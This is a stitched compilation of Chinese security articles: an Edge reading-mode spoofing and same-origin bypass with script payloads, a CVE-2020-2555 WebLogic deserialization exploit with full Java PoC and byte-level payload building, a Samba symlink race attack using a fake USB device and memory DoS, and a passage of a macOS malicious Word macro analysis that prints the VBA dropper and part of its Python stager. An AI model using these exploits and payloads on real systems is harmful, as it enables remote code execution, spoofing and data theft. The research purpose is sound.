顺便说一下，考虑到所有的自然排序结果(Organic Results)都是重定向到目标网站的链接，所以伪装成谷歌并不是什么难事。
例如，谷歌已经从crack.com.ar索引了一个页面“crack-01.html”，如果我们发现重定向到该页面的自然排序结果链接的话，那么我们就胜券在握了，因为它位于我们自己的服务器中，我可以任意修改它！对吗？
不妨让我们打开Chrome，找到一个指向我们的服务器（crack.com.ar）的谷歌重定向。
请记住：我们的目标是找到一个重定向至crack.com.ar的Google网址，而该网站正好处于我们的掌控之中。
**在阅读模式下重定向**
现在，我们有一个重定向到crack.com.ar的google.com.ar
URL了。然后，我们可以在crack.com.ar中的网页中放上一些文字，例如“它并非真正的Google网站”，这样的话，我们就可以很容易地确定内容的真正来源了。
以下是前置了read: 伪协议的Google重定向，在Edge浏览器中打开时的情形如下所示：
read:https://www.google.com.ar/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiRx_eksaTTAhURl5AKHcrxCuoQFgggMAA&url=http%3A%2F%2Fwww.cracking.com.ar%2Fcracking-01.html&usg=AFQjCNGa3PACMDlI6RdBOnoEfySVh1C2ZQ
哇！多么漂亮的一次伪装啊，但是别忘了，我们正在使用阅读模式！这意味着我们无法完全控制页面的外观。记住：在渲染我们的页面之前，Edge浏览器会剥离大量的HTML内容。例如，iframe和脚本都会被删除，并且JavaScript链接也不起作用。那么，我们该如何自定义这个页面并摆脱那个淡黄色的背景呢？我们怎样才能在这里运行脚本呢？
**在阅读模式下运行脚本**
当我们处于阅读模式时，Edge浏览器会尽力保持内容静态化，这意味着不允许任何脚本、iframe将被丢弃等。换句话说，我们的内容最终看起来更像是一本书，而不是一个网页。但是，我们将设法打破这种看上去一切已被冻结的静态阅读模式所带来的各种障碍。
为此，我手动测试了几个html标签，如iframe / script /
meta，但是它们都会被删除。然后，我尝试了一下object/html标签，令我惊讶的是，它竟然是行得通的！事情比我们想象的要更容易，object/html标签几乎可以精确模拟iframes：它们可是能够运行脚本的html容器啊！
**漏洞＃2：当在阅读模式下呈现页面时，微软的Edge浏览器并不会删除对象标签。**
所以，如果我们在crack.com.ar中的页面中添加一个对象标签，然后触发一个提示的话，那么它看起来就很有说服力了。
<!-- prompt.html does a window.prompt with the hard coded "google.com needs..." message -->
<object data="http://www.cracking.com.ar/prompt.html"></object>
现在，Edge浏览器会认为首页源自google.com.ar（事实上，它是源自crack.com.ar），object/html源自crack.com.ar（确实如此）。但问题是，虽然我们可以抛出提示/警报，但是我们仍然无法访问首页。
假设我们要将首页的背景颜色更改为白色，或者写一些东西来使攻击更具迷惑性的话，我们将需要绕过同源策略或设置顶级URL，而不更改地址栏。下面，我们来尝试前一种方法：绕过SOP。
跳出<object>之外进行思考
我们如何代表顶级域来呈现任意的html代码，以便可以真正访问它呢？ 其实，data uri 是个不错的选择。 我们可以在data
uri中呈现html，而不是渲染托管在crack.com.ar中的内容，就像这样：
<!-- object rendering a data uri -->
<object data="data:,<script>alert(top.location)</script>"></object>
<!-- ACCESS DENIED data uris have their own unique origin -->
别急，事情没那么简单。实际上，Edge浏览器不允许从这个data uri访问任何其他文档。所有浏览器都将data
uris作为不同于其创建者的特殊源来处理，但在Edge浏览器上，这个限制很容易绕过：页面加载后，单凭self-document.write就足以将我们的源设置成与我们的父源相匹配。
**漏洞＃3：在data: uris中，可以通过document.write设置源，使其与其父源/创建者相匹配。**
<object data="data:,<script>
window.onload = function()
{ // Executing a document.write in a data uri after the onload
// changes the location of the object to its parent URL.
document.write('<script>alert(top.location.href)</script>');
document.close();
}
</script>"></object>
<!-- Now we have the same location as our top -->
是的，伙计们！我们现在正在访问Google的顶级域名。这样的话，我们就可以完全访问渲染阅读模式的内部html代码了，而不用改变任何东西，这样就可以通过top.document.write替换淡黄色的背景了。
<object data="data:,<script>
window.onload = function()
{
document.write(
'<script>'+
'top.document.write('Trust me, we are on Google =)');'+
'top.document.close()'+
'</script>');
document.close();
}
</script>"></object>
[**[ PoC测试页面]**](https://www.cracking.com.ar/demos/edgeread/)
**演示视频**
如果您不喜欢在线进行的话，可以从[ **这里**](https://goo.gl/gQ8vAb)下载相应的文件。 | 社区文章 |
## 背景
在2020年1月，互联网上爆出了Weblogic反序列化远程命令执行漏洞（CVE-2020-2555），Oracle Fusion中间件 Oracle
Coherence 存在缺陷，攻击者可利用该漏洞在未经授权下通过构造T3协议请求，获取 Weblogic 服务器权限，执行任意命令，风险较大。
漏洞信息曝光之后，互联网中发布几篇该漏洞相关的分析文章以及利用 POC，但公布的 POC 有部分不足之处，导致漏洞检测效率变低，不足之处主要体现在：
**1 目前所有的利用工具都是通过动态编译进行生产 POC 文件而且必须要有 java 环境。**
**2\. 公布的 POC 只是针对单独一个版本有效，无法适应多个 Weblogic 版本。**
漏洞影响情况：
* Oracle Coherence 3.7.1.17
* Oracle Coherence & Weblogic 12.1.3.0.0
* Oracle Coherence & Weblogic 12.2.1.3.0
* Oracle Coherence & Weblogic 12.2.1.4.0
通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内，虽然该版本默认自带了 Coherence（3.7），通过调试发现该版本默认并未启用
Coherence，所以 Weblogic 10.3.6.0 不在受影响范围内。
**注：**
**1\. 经过大量的测试，我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本中。**
**2\. 以上测试及分析环境全部基于内部环境。**
## 漏洞调试分析
**本文基于 Weblogic 12.1.3 版本进行研究分析测试。**
### 调试
修改目录 `user_project/domains/bin` 目录中 `setDomainEnv.cmd` 或者 `setDomainEnv.sh`
文件，加`if %debugFlag == "false"%` 之前加入 `set debugFlag=true`。
拷贝 `Oracle_Home` 目录下所有文件至调试目录，并且 `coherence\lib` 添加 `Libraries`：
配置 `Remote` 方式进行远程调试， ip 设置为开启 `set debugFlag=true` 的服务器 IP， 端口为 `8453` ：
## 漏洞利用
该漏洞主要是因为 `com.tangosol.util.filter.LimitFilter#toString` 方法内部可通过
`m_comparator` 和 `m_oAnchorTop` 可自定义进行设置，形成利用链条导致漏洞的发生，以下为整个利用链条：
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
通过利用利用链条，可以基于 [ysoserial](https://github.com/frohoff/ysoserial) 中的
[CommonsCollections5](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java)
进行构造利用 POC：
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
String cmd = "curl http://10.10.10.172:9999/Poc.class";
cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
// chain
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/0nise/IdeaProjects/vuldebug/cve-2020-2555/src/main/java/122130_linux_calc.666"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
### 漏洞分析
该漏洞主要是因为 `com.tangosol.util.filter.LimitFilter#toString` 触发，通过跟踪我们可以看到
`m_oAnchorTop` 为 `classs java.lang.Runtime` ， 以及 `m_comparator` 为
`ValueExtractor` 接口的 `ChainedExtractor` 实现。
核心通过 `extractor.extract` 进行触发，跟踪代码会跳入
`com.tangosol.util.extractor.ChainedExtractor#extract` ，并且将每次执行结果作为参数，通过
`aExtractor[i].extract(oTarget)` 进行执行，第一次 `oTarget` 参数值为 `class
java.lang.Runtime`
跟踪进入 `aExtractor[i].extract(oTarget)` 会跳入
`com.tangosol.util.extractor.ReflectionExtractor#extract` ，最后通过
`method.invoke` 反射执行，也就是说开始执行 `java.lang.Runtime.getRuntime`，最后讲执行的结果进行
`return`，类型为 `java.lang.Runtime`，所以整个方法执行的代码为
`java.lang.Runtime.class.getMethod("getRuntime",new Class[0]);`
第二次将`java.lang.Runtime.getRuntime` （也就是 `java.lang.Runtime`） 作为 `oTarget`
参数值进行传入执行
进行循环 `method.invoke`，反射执行 `invoke` ，最终执行代码为
`java.lang.Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null, new
Object[0])` ，最后执行完毕结果为 `java.lang.Runtime` 类，并且将 `return` 提供下次进行调用执行。
最后通过 `java.lang.Runtime.exec` 进行反射执行命令，最终执行的代码为 `runtime.exec(new
String[]{"cmd", "/c", "notepad"})` 达到执行命令的目的，弹出记事本。
### weblogic 10.3.6
weblogic 10.3.6 版本默认自带 coherence_3.7 ，但通过 Debug 调试发现 weblogic 10.3.6 并未启用
coherence_3.7 所以无法针对 weblogic 10.3.6 进行测试，但 coherence_3.7 版本中
`com.tangosol.util.filter.LimitFilter#toString` 漏洞仍然存在，所以 coherence 3.7
版本存在漏洞但 weblogic 10.3.6 默认情况下不存在该漏洞。
## 不足之处
经过分析发现 POC 很多不足之处，导致漏洞检测效率变低，同时无法进行通过其他语言开发调用。
### 动态序列化问题
如果 POC 用于非 java 语言开发的扫描框架时，是非常麻烦的要么是将代码集成
[ysoserial](https://github.com/frohoff/ysoserial)
然后通过进程调用的方式动态生成序列化文件，但该方法会不断的通过进程调用执行代码，会造成很大的资源开销。除了使用这种方法之外还可以通过加载以前的 POC
进行二进制读取并且替换代码重新生成序列化文件。
通过研究分析发现，修改参数内容时变动的内容主要为 `13 5B 4C 6A 61 76 61 2E 6C 61 6E 67 2E 53 74 72 69
6E 67 3B AD D2 56 E7 E9 1D 7B 47 02 00 00 78 70 00 00 00 03 74 00` 字节至 `00 04
65 78 65 63 70 70 76 72 00 11 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D
65 00 00 00 00 00 00 00 00 00 00 00 78 70` 的内容信息，其中左图的参数为 `new String[]{"cmd",
"/c", "notepad"}`，右图的参数为 `new String[]{"cmd", "/c", "calc"}`。
通过分析相同 weblogic 版本中通过 `coherence.jar` 生成的
`payload`，比对其中差异发现参数构造的方式为：每个参数的长度转换为 16 进制，占用 2 个字节，不足用 `0` 补足 + 每个参数值的 Hex 码
+ ( 70 weblogic 12.2.1.3.0 版本最后一位参数 ) +74 （作者理解为标识符），所以转换对应情况如下：
`new String[]{"cmd", "/c", "notepad"}` （ weblogic 12.2.1.3.0，需要加 70
其他版本不需要）对应的转换情况为：
00 03 63 6D 64 74 00 02 2F 63 74 00 07 6E 6F 74 65 70 61 64 70 74
00 03 = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()
2F 63 = "/c"
74
00 07 = "notepad".length()
6E 6F 74 65 70 61 64 = "notepad"
70
74
`new String[]{"cmd", "/c", "calc"}` （ weblogic 12.2.1.3.0，需要加 70
其他版本不需要）对应的转换情况为：
00 03 63 6D 64 74 00 02 2F 63 74 00 04 63 61 6C 63 70 74
00 03 = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()
2F 63 = "/c"
74
00 04 = "calc".length()
63 61 6C 63 = "calc"
70
74
了解了参数变动的规律以及对应的字节码，我们就可以基于该方式进行动态构建序列化文件。
测试中使用的各个版本生产 POC 序列化文件存放在
[CVE-2020-2555](https://github.com/0nise/CVE-2020-2555) `file` 目录中。
版本 | 文件名 | 描述 | 操作系统
---|---|---|---
12.1.3.0.0 |
[121300_calc.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/121300_calc.666)
| calc | Windows
12.1.3.0.0 |
[121300_notepad.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/121300_notepad.666)
| notepad | Windows
12.1.3.0.0 |
[121300_ping.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/121300_ping.666)
| ping | Windows
12.1.3.0.0 |
[121300.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/121300.666)
| calc | Windows
12.2.1.3.0 |
[122130_calc.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122130_calc.666)
| calc | Windows
12.2.1.3.0 |
[122130_linux_calc.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122130_linux_calc.666)
| calc | Linux
12.2.1.3.0 |
[122130_linux_curl.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122130_linux_curl.666)
| curl | Linux
12.2.1.3.0 |
[122130_notepad.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122130_notepad.666)
| notepad | Windows
12.2.1.3.0 |
[122130.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122130.666)
| calc | Windows
12.2.1.4.0 |
[122140_calc.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122140_calc.666)
| calc | Windows
12.2.1.4.0 |
[122140_linux_calc.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122140_linux_calc.666)
| calc | Linux
12.2.1.4.0 |
[122140_linux_curl.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122140_linux_curl.666)
| curl | Linux
12.2.1.4.0 |
[122140_notepad.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122140_notepad.666)
| notepad | Windows
12.2.1.4.0 |
[122140.666](https://github.com/0nise/CVE-2020-2555/blob/master/file/122140.666)
| calc | Windows
### Coherence 版本问题
在研究测试时，通过某一个 Coherence 版本生成的序列化文件，无法适用于多个版本，以下为多版本的详细测试情况：
poc 生成版本 | 测试版本 | 是否成功
---|---|---
12.1.3.0.0 | 12.1.3.0.0 | 是
12.1.3.0.0 | 12.2.1.3.0 | 否
12.1.3.0.0 | 12.2.1.4.0 | 否
12.2.1.3.0 | 12.1.3.0.0 | 否
12.2.1.3.0 | 12.2.1.3.0 | 是
12.2.1.3.0 | 12.2.1.4.0 | 否
12.2.1.4.0 | 12.1.3.0.0 | 否
12.2.1.4.0 | 12.2.1.3.0 | 否
12.2.1.4.0 | 12.2.1.4.0 | 是
可以发现一个 POC 无法适用于多版本的 weblogic 中，针对该情况可以基于 weblogic
序列化文件转换为字节码结合动态序列化技术处理，来达到兼容多个版本的目的。
## Weblogic 的问题
**截止 2020 年 3 月 4 日，通过 Oracle 官方进行下载 weblogic
时，通过研究发现该漏洞依然存在可以利用（所有受影响版本），需要额外安装补丁。**
如下文件为下文件MD5值以及下载时间：
文件名称 | MD5 | 创建时间
---|---|---
fmw_12.1.3.0.0_wls.jar | 8378FE936B476A6F4CA5EFA465A435E3 | 2020-03-04
fmw_12.2.1.3.0_wls.jar | 6E7105521029058AD64A5C6198DB09F7 | 2017-08-21
fmw_12.2.1.4.0_wls.jar | AA090712069684991BA27E4DE9ED3FF6 | 2019-09-13
coherence.jar(12.1.3.0.0) | E807E84D352374E33D0E2A8CC649534A | 2014-05-14
coherence.jar(12.2.1.3.0) | 2302E408BCA7C6A82081A20CE0811B0E | 2017-08-15
coherence.jar(12.2.1.4.0) | B28EE46B9B9BD5C24DF3BFEE10075BA4 | 2019-09-12
建议目前已经安装最新版 weblogic 的管理员也需排查该漏洞，如有漏洞建议立即安装补丁或通过修复方案进行修复，防止被不法分子利用。
## 修复
1. 临时解决方案：禁用 weblogic T3 协议。
2. 安装 [Oracle 更新补丁](https://www.oracle.com/security-alerts/cpujan2020.html)，需要登录帐户后下载。
## 参考
* [CVE-2020-2555：WebLogic远程代码执行漏洞](https://nosec.org/home/detail/4205.html)
* [CVE-2020-2555: RCE THROUGH A DESERIALIZATION BUG IN ORACLE’S WEBLOGIC SERVER](https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server)
* [浅析Java序列化和反序列化](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md) | 社区文章 |
# 【技术分享】针对Samba的路径转换攻击
|
##### 译文声明
本文是翻译文章，文章来源：gdelugre.github.io
原文地址：<https://gdelugre.github.io/2017/11/06/samba-path-pivot-attack/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
在今年4月，一个影响Samba的竞争条件（Race Condition）漏洞被公开，其编号为 **CVE-2017-2619** ，漏洞描述如下：
**“对文件系统的输出部分具有写入权限的客户端，借助于SMB1
Unix扩展或NFS创建符号链接，再通过重命名一个被realpath()转换过的路径并创建符号链接的方式，实现对服务器的争用。而一旦客户端成功争用，由于此时已经完成对输出的共享路径的检查，就导致服务器会访问新的符号链接。而这个新的符号链接，则可以指向服务器文件系统中的任何位置。”**
具体到这个Bug的利用，该公告补充说：“尽管该条件竞争难以成功，但从理论上讲是可能的。”
然而，假如共享文件夹储存在攻击者所控制的磁盘上，那么情况就变得完全不同。
**准备阶段**
****
一些网络设备（例如家庭使用的路由器，或网络存储器NAS）都支持外接U盘，并且能够在网络上共享该U盘中内容。我们就以法国常用的DSL路由器为例，这款路由器可以兼容绝大多数的ISP。
插入U盘后，系统会自动检测其分区，并且自动装载，并在局域网中创建网络共享。其中的网络共享，通常都会借助Samba来实现。
首先要做的，是在分区上创建一个符号链接，并验证我们目前确实无法读取除共享文件夹以外的任何文件。除非使用了非常旧版本的Samba，否则默认情况下，widelinks都会被设置为禁用，这次尝试应该会失败。
在服务器端，通常是按照下面的步骤来执行：
1\. 接收到打开文件的请求，文件路径为A；
2\. 检查路径A，确认其是否包含在共享文件夹内；
3\. 如果检查无误，则该文件被打开。
Samba使用函数realpath转换路径，并验证它是否包含在共享文件夹中。在Linux上，realpath将依次使用lstat和readlink系统调用来解析符号链接，而最终的操作将会调用open。
我们可以在受漏洞影响的Samba上运行strace来验证上述动作。当我们尝试打开路径a/b/c指向的file文件时，显示如下：
stat("a/b/c", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
getcwd("/mnt/shared", 4096) = 12
lstat("/mnt/shared/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/shared/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/shared/a/b/c", {st_mode=S_IFLNK|0777, st_size=4, ...}) = 0
readlink("/mnt/shared/a/b/c", "file", 4095) = 4
lstat("/mnt/shared/a/b/file", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
stat("a/b/c", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
getxattr("a/b/c", "system.posix_acl_access", 0x7fff672973c0, 132) = -1 ENODATA (No data available)
stat("a/b/c", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
open("a/b/c", O_RDONLY) = 12
由于这些操作不是完全同时进行的，因此无法保证我们所检查的文件与我们所打开的文件是同一个。
我们此次攻击的基本方法，就是 **通过使用伪造的USB存储设备，使得realpath的操作对象和打开的操作对象是不同的文件，从而欺骗操作系统。**
**漏洞利用**
****
要利用此设计缺陷，最直接的方法是：在调用realpath(路径, ……)函数后、调用open(路径,
……)函数前，触发对相应分区的重新装载。这种方式不但能够对不同的文件进行操作，并且还可以在不同的文件系统上进行。然而，这种方法是不切实际的，主要是因为以下两点：
1\. 这一时间上的条件限定过于苛刻，几乎不可能满足；
2\. 大多数网络设备，会在存储设备移除时，立即关闭服务端。
既然我们控制了存储设备，那么一个更好的办法就是， **在访问某些磁盘扇区的时候，去检测对realpath的调用，并在open操作期间，返回不同的数据。**
**
**
**文件系统缓存**
实际上，现代的操作系统都会尽可能地减少I/O访问的次数。在路径解析的过程中，Linux内核可能必须通过读取硬盘来获取路径组件（Path
Component）的信息。但如果不再需要，该操作就不会再次执行。取而代之的是，会将这些信息保存在内存中的dentry（或dcache）缓存之中。
目录项（dentry），是将文件名与索引节点（inode）关联起来的内核结构。对于本地文件系统，它们会一直保留在dcache中，直到内核回收内存以供其他程序使用。
因此，open过程中的路径解析，会首先查找dcache中的每一个路径组件，而不会对其设备有所怀疑。
可以看出，在这里之所以使用缓存，是考虑到了性能方面，而并没有顾及到它的安全性。所以实际上，我们可以在两次调用之间，去删除缓存中的内容，这样的操作会更为可行。
**删除缓存内容**
****
Linux
dcache是一个最近最少使用（LRU）的缓存，也就是第一个被替换的条目是最近使用次数最少的。缓存并没有固定的大小，它将会占用尽可能多的内存。但内核也同时有权在其他地方需要时，减小缓存占用的空间，并对内存进行回收。
当内存回收时，内核将枚举缓存中的目录项，并收集其中未使用的（引用计数器为0）。每一个目录项中都包含对其父目录项的引用。内核还会保留对当前正在寻找的路径组件的引用。
我们考虑路径a/b/c和路径a/d的解析。在路径解析后，目录项的树将如下图所示：
内核将首先对c和d进行回收，然后是b，最后是a。但是，如果在查找组件b的过程中发生，内核就无法释放它，同理a也一样，因为它们两个的引用计数器不会为0。
在这种情况下，即使是包含符号链接的路径，其结果也是一样的。
我们再考虑另一种情况：路径a/b/c，其中b是指向目录a/x的符号链接。
在b的解析过程中，内核将跟踪符号链接，并继续在x处进行路径遍历。符号链接b将保持其引用计数器为0，并且即使是在路径解析期间，它也可以从dcache中删除。
这就意味着，
**通过在路径中加入一个符号链接，使得在lstat系统调用返回前，有可能释放它的目录项。在接下来的调用open过程中，磁盘会再次被读取，从而对相同的路径执行打开操作。**
在几个系统调用的短暂时间里，缓存的目录项看上去不太可能会被清除。但事实上是有可能的，因为我们可以让整个操作变得非常缓慢。
**通过延迟SCSI相应数据包，我们可以让系统调用处于阻塞状态。**
Linux在默认情况下会等待30秒SCSI请求，然后再判断磁盘是否已经卡死。了解这一点之后，我们就可以借助于此，再加上大量的符号链接，轻松地让一个简单的realpath操作花上一个小时的时间，最后仍然会返回正确的结果。
我们再考虑路径a/b/c指向文件f的情况，我们可以将大量的符号链接聚在一起（但应少于40个，以避免ELOOP错误），并将它们放在磁盘上的不同位置，以有效减慢整个路径的解析速度。我们还可以通过拆分SCSI响应并返回较小的数据块，或者是通过在不同的物理位置使用索引节点创建中级目录（intermediate
directories）来减慢进程。
当realpath操作在lstat和readlink之间被缓慢的I/O卡住时，我们可以开始将缓存的符号链接入口（图中的绿色框）清除出去。有多种方法可以实现，其中最为简单的一种是执行SMBLoris攻击，创建大量的连接并分配大量内存。在高强度的内存使用下，dcache的空间会变小。仅仅需要几秒钟的时间，就可以填满内存，并让目录项被清除，因此这种方法非常可行。当然，还可以与其他DoS漏洞一同使用，从而导致高内存消耗，达到相同的目的。
目录项被清除的时间，取决于设备上可用的RAM大小。 **我们可能需要对DoS进行一些设定，让它既能占用足够的内存来减小缓存空间，又不会导致触发OOM
killer的保护机制。**
**制作假USB存储**
****
为了制作我们的“慢速存储设备”，我们需要一个具有USB OTG接口并运行Linux的设备，例如树莓派Zero。
使用Linux的g_mass_storage模块和OTG接口，我们可以模拟USB密钥。模块使用一个参数文件来指定磁盘映像的路径。我们指定该磁盘映像位于用户空间文件系统（FUSE）的挂载点。这样一来，我们可以在用户空间去控制对磁盘的每一次物理访问。
内核模块将SCSI
READ命令转换为vfs_read调用。这一调用由用户空间文件系统处理，并转发至用户级程序。用户级应用将读取磁盘映像文件，并可能会调用sleep来延迟SCSI响应，具体要取决于所读取的内容。
**攻击演示**
****
下面的演示将在一台运行Samba
4.1.13的服务器上进行。分区的格式为ext3，包含符号树xxx1/…/xxx39，每一个xxx符号链接重定向到一个以magic_为前缀的目录，将会被我们的控制器截获。
在read操作的过程中，Samba 4将会进行如下操作：
1\. 使用stat获得目标文件详细信息并缓存结果；
2\. 检查文件名与realpath；
3\. 检查文件权限与ACL（stat和getxattr）；
4\. 使用fstat获得文件描述符信息，检查设备/索引节点从第一步开始未发生更改；
5\. 读取文件。
在步骤1中，我们将stat调用的指向转到/etc/passwd。在步骤2中，我们将路径指向转到一个虚拟的passwd文件。然后在步骤3，我们再次转回/etc/passwd。这样一来，我们就能有效地绕过步骤2和5之中的检查。
请注意，服务器有1GB的RAM。并且为了创建和销毁正确数量的进程，在DoS进行之前是经过计算的。为了使攻击成功，我们还必须使用不会超时的Samba客户端，以应对服务端响应时间过长的情况。在这里，我使用了一个依赖于pysmb的自定义脚本，也可以通过修改过的smbclient来实现。
**结语**
****
在4.4.12、4.5.7和4.6.1版本后的Samba不受此漏洞的影响。用于攻击的源代码请参见：<https://github.com/gdelugre/path-pivot> 。
值得一提的是，这样的攻击还可以扩展到不同的场景之中，比如也可能会适用于：
**UPnP多媒体服务器（DLNA）；**
**为外部驱动器提供文件浏览功能的设备（图像查看器、多媒体播放器）；**
**固件更新时，其签名被验证并存储在USB密钥中。**
该攻击方法给我们带来的经验是，不要理所当然地认为外部磁盘会在不同调用中返回相同的值，在处理外部驱动器上存储的文件时要多加小心。 | 社区文章 |
# 【技术分享】针对Mac用户的恶意Word文档分析
|
##### 译文声明
本文是翻译文章，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x17.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：110RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**简介**
今天发现了很多MacOS上的恶意软件！首先NEX（@botherder）发布了一个很棒的writeup,[iKittens: iranian actor
resurfaces with malware for mac (macdownloader)
](https://iranthreats.github.io/resources/macdownloader-macos-malware/)，里面详细介绍了一些新型的MacOS的恶意软件。不久之后，我的朋友Scott（@ 0xdabbad00）提醒我注意以下推特：
我很好奇,这是一个针对Mac用户的恶意Word文档,我取得了样本（"U.S. Allies and Rivals Digest Trump鈥檚
Victory – Carnegie Endowment for International Peace.docm"），并注意到，只有4
个AV引擎将它标记为恶意：
如果你想一起分析请务必小心，我上传恶意文档,你可以[在这里](https://objective-see.com/downloads/malware/DocFromRU.zip)找到它（密码：infect3d）。
可以很容易地确认，该文件是一个Microsoft Word文档：
$ file "U.S. Allies and Rivals Digest Trump鈥檚 Victory - Carnegie Endowment for International Peace.docm"
Microsoft Word 2007+
当你试图用Word打开该文档时（一个隔离的MacOS虚拟机内）会触发一个警告:“此文件包含宏”的警告：
**分析**
让我们提取嵌入的宏来分析文档中的恶意逻辑。我们可以使用的ClamAV的sigtool提取嵌入的宏。
首先，如在线帮助所说的，如今的Word文件实际上是“存储在Zip文件的XML文件”以及“VBA宏通常存储在Zip压缩文件内的二进制OLE文件，名为vbaProject.bin。
所以，先解压（'unzip'）文档：
$ unzip "U.S. Allies and Rivals Digest Trump鈥檚 Victory - Carnegie Endowment for International Peace.docm"
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/theme/theme1.xml
inflating: word/vbaProject.bin
inflating: word/_rels/vbaProject.bin.rels
inflating: word/vbaData.xml
inflating: word/settings.xml
inflating: word/stylesWithEffects.xml
inflating: word/styles.xml
inflating: docProps/core.xml
inflating: word/fontTable.xml
inflating: word/webSettings.xml
inflating: docProps/app.xml
然后将word/vbaProject.bin文件传递给sigtool命令，并使用–vba标志提取嵌入的宏：
$sigtool --vba word/vbaProject.bin
-------------- start of code ------------------ Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
...
Sub autoopen()
Fisher
End Sub
....
Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Public Sub Fisher()
Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
cmd = cmd + "llZF9jb250ZXh0Jyk6c3NsLl9jcmVhdGVfZGVmYXVsdF9odH"
cmd = cmd + "Rwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF"
cmd = cmd + "9jb250ZXh0OwppbXBvcnQgc3lzLCB1cmxsaWIyO2ltcG9ydC"
....
cmd = cmd + "BlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl"
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="
result = system("echo ""import sys,base64;exec(base64.b64decode("" " & cmd & " ""));"" | python &")
End Sub
根据微软所说的，“当打开一个新文档时,AutoOpen宏会开始运行”。
因此，只要用户打开Mac上的这个文件，在Word中（假定已启用宏）,Fisher函数就会自动执行。
Fisher函数对数据进行base64解码（保存在CMD变量），然后通过Python执行它。使用Python的base64模块，我们可以轻松解码的数据：
$ python
>>> import base64
>>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... "
>>> base64.b64decode(cmd)
...
dXFprvsgMBSIyPf = 'atfMzZOqVLbcj'
import ssl;
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context;
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
o = __import__({
2: 'urllib2',
